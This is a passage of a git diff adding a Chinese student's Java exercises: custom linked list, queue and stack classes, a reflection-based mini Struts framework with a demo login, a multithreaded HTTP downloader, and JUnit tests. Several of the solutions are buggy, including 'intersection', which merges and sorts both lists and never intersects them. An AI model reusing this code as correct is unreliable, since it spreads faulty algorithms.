+            this.remove(i);
+        }
+    }
+    /**
+     * 假定当前链表和listB均包含已升序排列的整数
+     * 从当前链表中取出那些listB所指定的元素
+     * 例如当前链表 = 11->101->201->301->401->501->601->701
+     * listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     * @param list
+     */
+    public  int[] getElements(LinkedList list){
+        int size = list.size();
+        int[] arr = new int[size];
+        for(int i = 0; i < size; i++){
+            int index = (Integer) list.get(i);
+            arr[i] = (Integer) this.get(index);
+        }
+
+        return arr;
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 从当前链表中中删除在listB中出现的元素
+
+     * @param list
+     */
+
+    public void subtract(LinkedList list){
+        Object[] arr1 = toArray(this);
+        Object[] arr2 = toArray(list);
+        for(int i = 0; i < arr2.length; i++){
+            arr1 = ArrayUtil.remove(arr1, arr2[i]);
+        }
+
+        asList(arr1);
+    }
+
+    /**
+     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+     */
+    public void removeDuplicateValues(){
+        int size = this.size();
+        ArrayList indexList = new ArrayList();
+        ArrayList valueList = new ArrayList();
+        for(int i = 0; i < size; i ++){
+            int valueI = (Integer)this.get(i);
+            int index = 0;
+            for(int j = i + 1; j < size; j++){
+                if(valueList.contains(valueI)){
+                    continue;
+                }
+                int valueJ = (Integer) this.get(j);
+                if(valueJ == valueI){
+                    index++;
+                }
+
+                if(index > 0){
+                    indexList.add(j);
+                    valueList.add(valueJ);
+                }
+            }
+        }
+
+        Object[] arr = new Object[size];
+        for(int i = 0; i < size; i++){
+            arr[i] = indexList.contains(i) ? false : this.get(i);
+        }
+
+        ArrayUtil au = new ArrayUtil();
+        arr = au.remove(arr, false);
+
+        asList(arr);
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+     * @param min
+     * @param max
+     */
+    public void removeRange(int min, int max){
+        int size = this.size();
+        int[] range = new int[max - min];
+        int index = 0;
+        for(int i = 0; i < size; i++){
+            int value = (Integer) this.get(i);
+            if(value > min && value < max){
+                range[index] = value;
+                index++;
+            }
+        }
+
+        Object[] arr = new Object[size];
+        for(int i = 0; i < size; i++){
+            arr[i] = this.get(i);
+        }
+
+        for(int i = 0; i < range.length; i++){
+            arr = ArrayUtil.remove(arr, range[i]);
+        }
+
+        asList(arr);
+    }
+
+    /**
+     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+     * @param list
+     */
+    public LinkedList intersection( LinkedList list){
+        //组合成新的链表
+        int listSize = list.size();
+        for(int i = 0 ; i < listSize; i ++){
+            this.add(list.get(i));
+        }
+
+        //转化成数组
+        int size = this.size();
+        int[] arr = new int[size];
+        for(int i = 0; i < size; i++){
+            arr[i] = (Integer)this.get(i);
+        }
+        //排序
+        for(int i = 0; i < size - 1; i ++){
+            for(int j = 0; j < size - i - 1; j ++){
+                if(arr[j] >= arr[j + 1]){
+                    int temp = arr[j];
+                    arr[j] = arr[j + 1];
+                    arr[j + 1] = temp;
+                }
+            }
+        }
+
+        //组装
+        LinkedList li = new LinkedList();
+        for(int i = 0; i < size; i ++){
+            li.add(arr[i]);
+        }
+        return li;
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/List.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/List.java
new file mode 100644
index 0000000000..dc2a62aab3
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/dataStructure/List.java
@@ -0,0 +1,12 @@
+package basic.dataStructure;
+
+/**
+ * Created by macvi on 2017/4/2.
+ */
+public interface List {
+    void add(Object o);
+    void add(int index, Object o);
+    Object get(int index);
+    Object remove(int index);
+    int size();
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/Queue.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/Queue.java
new file mode 100644
index 0000000000..36ca7e9647
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/dataStructure/Queue.java
@@ -0,0 +1,72 @@
+package basic.dataStructure;
+
+/**
+ * Created by macvi on 2017/4/4.
+ */
+public class Queue {
+    private Object[] data;
+
+    private int size = 10;
+
+    private int extendedSize = 10;
+
+    public Queue(){
+        this.data = new Object[size];
+    }
+
+    public Queue(Object o){
+        this.data = new Object[size];
+        data[0] = o;
+    }
+
+    public void enQueue(Object o){
+        //被添加的位置
+        int index = this.size();
+        if(this.size() == this.size){
+            this.size += extendedSize;
+            Object[] newData = new Object[this.size];
+            System.arraycopy(this.data, 0, newData, 0, index);
+            newData[index] = o;
+            this.data = newData;
+        }else{
+            this.data[index] = o;
+        }
+    }
+
+    public Object deQueue(){
+        Object[] newData = new Object[this.size];
+        Object d = this.data[0];
+        System.arraycopy(this.data, 1, newData, 0, this.size - 1);
+        this.data = newData;
+
+        return d;
+    }
+
+    public Object peek(){
+        return this.data[0];
+    }
+
+    public boolean isEmpty(){
+        return peek() == null;
+    }
+
+    public int size(){
+        int size = 0;
+        for(Object obj : this.data){
+            size += obj == null ? 0 : 1;
+        }
+
+        return size;
+    }
+
+    @Override
+    public String toString() {
+        StringBuffer sb = new StringBuffer();
+        for(Object obj : this.data){
+            if(obj != null){
+                sb.append(obj.toString()).append(",");
+            }else break;
+        }
+        return sb.toString();
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/Stack.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/Stack.java
new file mode 100644
index 0000000000..bea16033fa
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/dataStructure/Stack.java
@@ -0,0 +1,41 @@
+package basic.dataStructure;
+
+/**
+ * Created by macvi on 2017/4/4.
+ */
+public class Stack {
+
+    private ArrayList elementData = new ArrayList();
+
+    public void push(Object o){
+        this.elementData.add(o);
+    }
+
+    public Object pop(){
+        int index = elementData.size() - 1;
+        Object obj = elementData.remove(index);
+
+        return obj;
+    }
+
+    public Object peek(){
+        int index = elementData.size() - 1;
+        return elementData.get(index);
+    }
+    public boolean isEmpty(){
+        return peek() == null;
+    }
+    public int size(){
+        return elementData.size();
+    }
+
+    @Override
+    public String toString() {
+        StringBuffer sb = new StringBuffer();
+        for(int i = this.size() - 1; i >= 0; i--){
+            sb.append(elementData.get(i).toString()).append(",");
+        }
+
+        return sb.toString();
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/LoginAction.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/LoginAction.java
new file mode 100644
index 0000000000..14b8aba8e2
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/liteStruts/LoginAction.java
@@ -0,0 +1,39 @@
+package basic.liteStruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/ReadXML.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/ReadXML.java
new file mode 100644
index 0000000000..458b247e18
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/liteStruts/ReadXML.java
@@ -0,0 +1,28 @@
+package basic.liteStruts;
+
+import org.dom4j.Document;
+import org.dom4j.io.SAXReader;
+
+import java.io.File;
+
+/**
+ * @author : 温友朝
+ * @date : 2017/4/10
+ */
+public class ReadXML {
+    Document document;
+
+    public ReadXML(String filePath) throws Exception{
+        SAXReader reader = new SAXReader();
+        document = reader.read(new File(ReadXML.class.getResource("/").getFile()) + filePath);
+    }
+
+    public String getActionClass(String actionName){
+        return document.selectSingleNode("//action[@name='" + actionName + "']").valueOf("@class");
+    }
+
+    public String getJspPage(String actionName, String result){
+        return document.selectSingleNode("//action[@name='" + actionName + "']")
+                .selectSingleNode("//result[@name='" + result + "']").getText();
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/Struts.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/Struts.java
new file mode 100644
index 0000000000..3b28f2bf60
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/liteStruts/Struts.java
@@ -0,0 +1,78 @@
+package basic.liteStruts;
+
+import java.lang.reflect.Method;
+import java.util.Map;
+
+
+public class Struts {
+    /**
+     * 0. 读取配置文件struts.xml
+     * <p>
+     * 1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+     * 据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
+     * ("name"="test" ,  "password"="1234") ,
+     * 那就应该调用 setName和setPassword方法
+     * <p>
+     * 2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+     * <p>
+     * 3. 通过反射找到对象的所有getter方法（例如 getMessage）,
+     * 通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,
+     * 放到View对象的parameters
+     * <p>
+     * 4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，
+     * 放到View对象的jsp字段中。
+     */
+    public static View runAction(String actionName, Map<String, String> parameters) {
+        try{
+            //0. 读取配置文件struts.xml
+            ReadXML read = new ReadXML("/resources/struts.xml");
+            //1. 找到对应的class
+            String className = read.getActionClass(actionName);
+            Class clz = Class.forName(className);
+            //得到对象
+            Object la = clz.newInstance();
+            setNameAndPassword(clz, la, parameters);
+            //2. 调用execute方法
+            String result = invokeExecute(clz, la);
+            //3. 找到对象的所有getter方法
+            getResultMap(clz, la, parameters);
+            //4. 确定使用哪一个jsp
+            String viewName = read.getJspPage(actionName, result);
+            View view = new View();
+            view.setJsp(viewName);
+            view.setParameters(parameters);
+            return view;
+        }catch(Exception e){
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    private static void setNameAndPassword(Class clz, Object la, Map<String, String> parameters) throws Exception {
+        Method setName = clz.getDeclaredMethod("setName", String.class);
+        setName.invoke(la, parameters.get("name"));
+
+        Method setPassword = clz.getDeclaredMethod("setPassword", String.class);
+        setPassword.invoke(la, parameters.get("password"));
+    }
+
+    private static String invokeExecute(Class clz, Object la)throws Exception{
+        Method execute = clz.getDeclaredMethod("execute", null);
+        Method getMessage = clz.getDeclaredMethod("getMessage", null);
+        execute.invoke(la, null);
+        return getMessage.invoke(la, null).toString();
+    }
+
+    private static void getResultMap(Class clz, Object la, Map<String, String> parameters) throws Exception{
+        Method[] methods = clz.getMethods();
+        for(Method me : methods){
+            if(me.getName().startsWith("get")){
+                String info = me.invoke(la, null).toString();
+                String method= me.getName();
+                String key = method.substring(3, method.length()).toLowerCase();
+                parameters.put(key, info);
+            }else continue;
+        }
+
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/View.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/View.java
new file mode 100644
index 0000000000..777380b8f9
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/basic/liteStruts/View.java
@@ -0,0 +1,23 @@
+package basic.liteStruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group24/75939388/learning2017/src/main/java/miniJVM/Demo.java b/group24/75939388/learning2017/src/main/java/miniJVM/Demo.java
new file mode 100644
index 0000000000..565983ab06
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/miniJVM/Demo.java
@@ -0,0 +1,7 @@
+package miniJVM;
+
+/**
+ * Created by macvi on 2017/4/11.
+ */
+public class Demo {
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/DownloadThread.java b/group24/75939388/learning2017/src/main/java/thread/download/DownloadThread.java
new file mode 100644
index 0000000000..190cae6423
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/DownloadThread.java
@@ -0,0 +1,39 @@
+package thread.download;
+
+
+import thread.download.api.Connection;
+
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	String localFile = "";
+
+	CyclicBarrier barrier;
+
+	public DownloadThread(Connection conn, int startPos, int endPos, String localFileName, CyclicBarrier barrier){
+		this.localFile = localFileName;
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.barrier = barrier;
+	}
+	public void run(){
+		try{
+			RandomAccessFile file = new RandomAccessFile(localFile, "rw");
+			byte[] buffer = this.conn.read(this.startPos, this.endPos);
+			file.seek(startPos);
+			file.write(buffer);
+			file.close();
+			this.conn.close();
+			barrier.await();
+		}catch(Exception e){
+		    e.printStackTrace();
+		}
+	}
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/FileDownloader.java b/group24/75939388/learning2017/src/main/java/thread/download/FileDownloader.java
new file mode 100644
index 0000000000..f50560b8be
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/FileDownloader.java
@@ -0,0 +1,106 @@
+package thread.download;
+
+import thread.download.api.Connection;
+import thread.download.api.ConnectionManager;
+import thread.download.api.DownloadListener;
+
+import java.io.File;
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+public class FileDownloader {
+	
+	String url;
+	String fileLocation;
+	DownloadListener listener;
+	ConnectionManager cm;
+
+	RandomAccessFile file;
+
+	int length;
+
+	private static final int MAX_THREAD_NUM = 5;
+
+
+	public FileDownloader(String _url, String fileLocation) {
+		this.url = _url;
+		this.fileLocation = fileLocation;
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+
+		try {
+			CyclicBarrier barrier = new CyclicBarrier(MAX_THREAD_NUM, new Runnable() {
+				public void run() {
+					listener.notifyFinished();
+				}
+			});
+
+			conn = cm.open(this.url);
+			this.length = conn.getContentLength();
+
+			file = getEmptyFile();
+
+			int divided = length/MAX_THREAD_NUM;
+			int[] pos = new int[MAX_THREAD_NUM + 1];
+			for(int i = 0; i < MAX_THREAD_NUM; i++){
+				pos[i] = i == 0 ? 0 : divided * i;
+			}
+			pos[MAX_THREAD_NUM] = length;
+
+			for(int i = 0; i < MAX_THREAD_NUM; i++){
+				new DownloadThread(conn, pos[i], pos[i + 1] - 1, this.fileLocation, barrier).start();
+			}
+
+
+			File file2 = new File(fileLocation);
+			System.out.println("file.length=" + file2.length());
+		} catch (Exception e) {
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+	}
+
+	public RandomAccessFile getEmptyFile(){
+		try{
+			RandomAccessFile file = new RandomAccessFile(this.fileLocation, "rw");
+			byte[] empty = new byte[this.length];
+			file.write(empty);
+			file.close();
+			return file;
+		}catch(Exception e){
+			e.printStackTrace();
+		}
+		return null;
+	}
+
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/Connection.java b/group24/75939388/learning2017/src/main/java/thread/download/api/Connection.java
new file mode 100644
index 0000000000..08a85b35dd
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/api/Connection.java
@@ -0,0 +1,23 @@
+package thread.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos, int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionException.java b/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionException.java
new file mode 100644
index 0000000000..e8fac91d1e
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionException.java
@@ -0,0 +1,8 @@
+package thread.download.api;
+
+public class ConnectionException extends Exception {
+
+    public ConnectionException(String msg){
+        super(msg);
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionManager.java b/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..f5f6c2ff70
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package thread.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	Connection open(String url) throws ConnectionException;
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/DownloadListener.java b/group24/75939388/learning2017/src/main/java/thread/download/api/DownloadListener.java
new file mode 100644
index 0000000000..16393c4dd9
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package thread.download.api;
+
+public interface DownloadListener {
+	void notifyFinished();
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionImpl.java b/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..2e2544ab27
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionImpl.java
@@ -0,0 +1,93 @@
+package thread.download.impl;
+
+import thread.download.api.Connection;
+import thread.download.api.ConnectionException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.ConnectException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+public class ConnectionImpl implements Connection {
+
+    private int length = 0;
+
+    private URL url;
+
+    private HttpURLConnection conn;
+
+    private InputStream is;
+
+    private ByteArrayOutputStream baos;
+
+    private ConnectionImpl() {}
+
+    public ConnectionImpl(URL url) {
+        this.url = url;
+        try {
+            this.conn = (HttpURLConnection) url.openConnection();
+            this.conn.setRequestMethod("GET");
+            this.conn.setReadTimeout(5000);
+            int responseCode = this.conn.getResponseCode();
+            System.out.println("连接状态=" + responseCode);
+            if (responseCode != 200) {
+                throw new ConnectionException("连接到" + url.toURI() + "失败");
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public byte[] read(int startPos, int endPos) throws IOException {
+        try {
+            //设置读取段落
+            this.conn = (HttpURLConnection) url.openConnection();
+            this.conn.setRequestMethod("GET");
+            this.conn.setReadTimeout(5000);
+            this.conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+            //获取返回值
+            int response = conn.getResponseCode();
+            if(response != 200 && response != 206){
+                throw new ConnectException("没有连接上" + url.toURI() + ", 状态码为" + response);
+            }
+            //开始读取
+            int length = endPos - startPos + 1;
+            this.is = conn.getInputStream();
+            byte[] buffer = new byte[1024];
+            baos = new ByteArrayOutputStream(length);
+            while(-1 != is.read(buffer)){
+                baos.write(buffer);
+            }
+            System.out.println(startPos + "-" + endPos + "文件段读取完成");
+            return baos.toByteArray();
+        } catch (Exception e) {
+            e.printStackTrace();
+            return null;
+        } finally {
+            this.close();
+        }
+    }
+
+    public int getContentLength() {
+        try {
+            this.length = this.conn.getContentLength();
+            System.out.println("获取的文件长度=" + length);
+            return this.length;
+        } catch (Exception e) {
+            e.printStackTrace();
+            return -1;
+        }
+    }
+
+    public void close() {
+        try {
+            if(is != null){
+                is.close();
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionManagerImpl.java b/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..ede8ccac00
--- /dev/null
+++ b/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,20 @@
+package thread.download.impl;
+
+import thread.download.api.Connection;
+import thread.download.api.ConnectionException;
+import thread.download.api.ConnectionManager;
+
+import java.net.URL;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	public Connection open(String url) throws ConnectionException {
+		Connection conn = null;
+		try{
+			conn = new ConnectionImpl(new URL(url));
+		}catch(Exception e){
+		    e.printStackTrace();
+		}
+		return conn;
+	}
+}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/ArrayListTest.java b/group24/75939388/learning2017/src/test/java/data_structure/ArrayListTest.java
new file mode 100644
index 0000000000..ee8ee6b0d0
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/data_structure/ArrayListTest.java
@@ -0,0 +1,69 @@
+package data_structure;
+
+import org.junit.Test;
+import basic.dataStructure.ArrayList;
+
+/**
+ * Created by macvi on 2017/4/2.
+ */
+public class ArrayListTest {
+
+    @Test
+    public void TestAdd(){
+        ArrayList al = new ArrayList();
+        for(int i = 0; i < 32; i++){
+            al.add(i + "");
+        }
+
+        System.out.println("ArrayList.content-->" + al.toString());
+    }
+
+
+    @Test
+    public void testIndexAdd(){
+        ArrayList al = new ArrayList();
+        for(int i = 0; i < 17; i ++){
+            al.add(i + "");
+        }
+
+        al.add(3, "xxoo");
+        al.add(11, "abcd");
+        al.add(0, "efgh");
+        al.add(al.size(), "ijkl");
+
+        System.out.println("al.toString-->" + al.toString());
+        System.out.println("size-->" + al.size());
+    }
+
+    @Test
+    public void testGet(){
+        ArrayList al = new ArrayList();
+        for(int i = 0; i < 18; i ++){
+            al.add(i + "zxcd");
+        }
+
+        System.out.println("get-->" + al.get(13));
+    }
+
+    @Test
+    public void testRemove(){
+        ArrayList al = new ArrayList();
+        for(int i = 0; i < 18; i ++){
+            al.add(i + "");
+        }
+        System.out.println("size1-->" + al.size());
+        System.out.println("al.toString1-->" + al.toString());
+        String re = (String)al.remove(12);
+        System.out.println("remove index=12 :");
+        System.out.println("re-->" + re);
+        System.out.println("size2-->" + al.size());
+        System.out.println("al.toString2-->" + al.toString());
+
+        String re1 = (String)al.remove(1);
+        System.out.println("remove index=1 :");
+        System.out.println("re-->" + re1);
+        System.out.println("size2-->" + al.size());
+        System.out.println("al.toString2-->" + al.toString());
+    }
+
+}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/ArrayUtilTest.java b/group24/75939388/learning2017/src/test/java/data_structure/ArrayUtilTest.java
new file mode 100644
index 0000000000..1dc1a6f263
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/data_structure/ArrayUtilTest.java
@@ -0,0 +1,67 @@
+package data_structure;
+
+import org.junit.Test;
+import basic.dataStructure.ArrayUtil;
+
+import java.util.Arrays;
+
+/**
+ * @author : 温友朝
+ * @date : 2017/4/5
+ */
+public class ArrayUtilTest {
+    ArrayUtil au = new ArrayUtil();
+
+    @Test
+    public void testReverse(){
+        int[] arr = {1, 2, 3, 4, 5};
+        this.au.reverseArray(arr);
+    }
+
+    @Test
+    public void testTrim(){
+        int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
+        int[] arr = this.au.removeZero(oldArr);
+        System.out.println(Arrays.toString(arr));
+    }
+
+    @Test
+    public void testMerge(){
+        int[] a1 = {3, 5, 7,8};
+        int[] a2 = {4, 5, 6,7};
+
+        int[] arr = this.au.merge(a1, a2);
+        System.out.println(Arrays.toString(arr));
+    }
+
+    @Test
+    public void testGrow(){
+        int[] arr = {1, 2, 3, 4, 5};
+        int[] arr2 = this.au.grow(arr, 4);
+        System.out.println(Arrays.toString(arr2));
+    }
+
+    @Test
+    public void testFibonacci(){
+        int[] arr = this.au.fibonacci(100);
+        System.out.println(Arrays.toString(arr));
+    }
+
+    @Test
+    public void testPrimes(){
+        int[] arr = this.au.getPrimes(100000);
+        System.out.println(Arrays.toString(arr));
+    }
+
+    @Test
+    public void testPerfectNumbers(){
+        int[] arr = this.au.getPerfectNumbers(10000);
+        System.out.println(Arrays.toString(arr));
+    }
+
+    @Test
+    public void testJoin(){
+        int[] arr = this.au.getPerfectNumbers(10000);
+        System.out.println(this.au.join(arr, "-"));
+    }
+}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/BinaryNodeTreeTest.java b/group24/75939388/learning2017/src/test/java/data_structure/BinaryNodeTreeTest.java
new file mode 100644
index 0000000000..df976147e3
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/data_structure/BinaryNodeTreeTest.java
@@ -0,0 +1,29 @@
+package data_structure;
+
+import org.junit.Test;
+import basic.dataStructure.BinaryTreeNode;
+
+/**
+ * @author : 温友朝
+ * @date : 2017/4/5
+ */
+public class BinaryNodeTreeTest {
+
+//    @Test
+//    public BinaryTreeNode getTree(){
+//        BinaryTreeNode btn = new BinaryTreeNode(5);
+//        btn.setData(3);
+//
+//        return btn;
+//    }
+
+    @Test
+    public void testAdd(){
+        BinaryTreeNode btn = new BinaryTreeNode(5);
+        btn.setData(3);
+        btn.setData(7);
+        btn.setData(10);
+        btn.setData(6);
+        btn.setData(4);
+    }
+}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/LinkedListTest.java b/group24/75939388/learning2017/src/test/java/data_structure/LinkedListTest.java
new file mode 100644
index 0000000000..c98a305623
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/data_structure/LinkedListTest.java
@@ -0,0 +1,151 @@
+package data_structure;
+
+import basic.dataStructure.LinkedList;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+/**
+ * Created by macvi on 2017/4/3.
+ */
+public class LinkedListTest {
+
+    LinkedList ll = new LinkedList();
+
+    @Before
+    public void init(){
+        for(int i = 0; i < 10; i++){
+            ll.add(i);
+        }
+    }
+
+    @After
+    public void print(){
+
+    }
+
+
+    @Test
+    public void testLinkedListAdd(){
+       LinkedList ll = new LinkedList();
+       ll.add("123");
+       ll.add("456");
+       ll.add("asdf");
+       ll.add("zxcv");
+
+
+       System.out.println("ll.toString-->" + ll);
+       System.out.println("ll.size--->" + ll.size());
+    }
+
+    @Test
+    public void testLinkedListIndexAdd(){
+        System.out.println("12345");
+    }
+
+    @Test
+    public void testGet(){
+        LinkedList ll = new LinkedList();
+        for(int i = 0; i < 10; i ++){
+            ll.add(i + "");
+        }
+
+        System.out.println("get-->" + ll.get(9));
+        System.out.println("ll.toString-->" + ll.toString() + "\nsize-->" + ll.size());
+    }
+
+    @Test
+    public void testIndexAdd(){
+        LinkedList ll = new LinkedList();
+        for(int i = 0; i < 5; i ++){
+            ll.add(i + "");
+        }
+
+        ll.add(5, "xxoo");
+        System.out.println("index get-->" + ll.get(0));
+        System.out.println("ll.toString2-->" + ll.toString() + "\nsize-->" + ll.size());
+    }
+
+    @Test
+    public void testRemove(){
+        LinkedList ll = new LinkedList();
+        for(int i = 0; i < 6; i ++){
+            ll.add(i + "");
+        }
+
+        Object removed = ll.remove(-1);
+        System.out.println("ll.toString-->" + ll.toString() + "\nsize-->" + ll.size());
+        System.out.println("removed-->" + removed.toString());
+    }
+
+    @Test
+    public void testReverse(){
+        ll.reverse();
+        System.out.println("ll.reverse-->" + ll.toString());
+    }
+
+    @Test
+    public void testRemoveFirstHalf(){
+        ll.removeFirstHalf();
+        System.out.println("ll.removeFirstHalf-->" + ll.toString());
+    }
+
+    @Test
+    public void testRemoveL(){
+        ll.remove(2, 5);
+        System.out.println("ll.toString-->" + ll.toString());
+    }
+
+    @Test
+    public void testGetElements(){
+        LinkedList l2 = new LinkedList();
+        l2.add(3);
+        l2.add(5);
+        l2.add(9);
+        l2.add(0);
+
+        int[] arr = ll.getElements(l2);
+        System.out.println("arr->" + Arrays.toString(arr));
+    }
+
+    @Test
+    public void testRemoveDuplicate(){
+        ll.add(1);
+        ll.add(3);
+        ll.add(4);
+        ll.add(10);
+        ll.add(11);
+        ll.removeDuplicateValues();
+        System.out.println("ll.toString-->" + ll.toString());
+    }
+
+    @Test
+    public void testRemoveRange(){
+        ll.removeRange(2, 6);
+        System.out.println("ll.toString-->" + ll.toString());
+    }
+
+    @Test
+    public void testSubtract(){
+        LinkedList list = new LinkedList();
+        list.add(1);
+        list.add(2);
+        list.add(5);
+
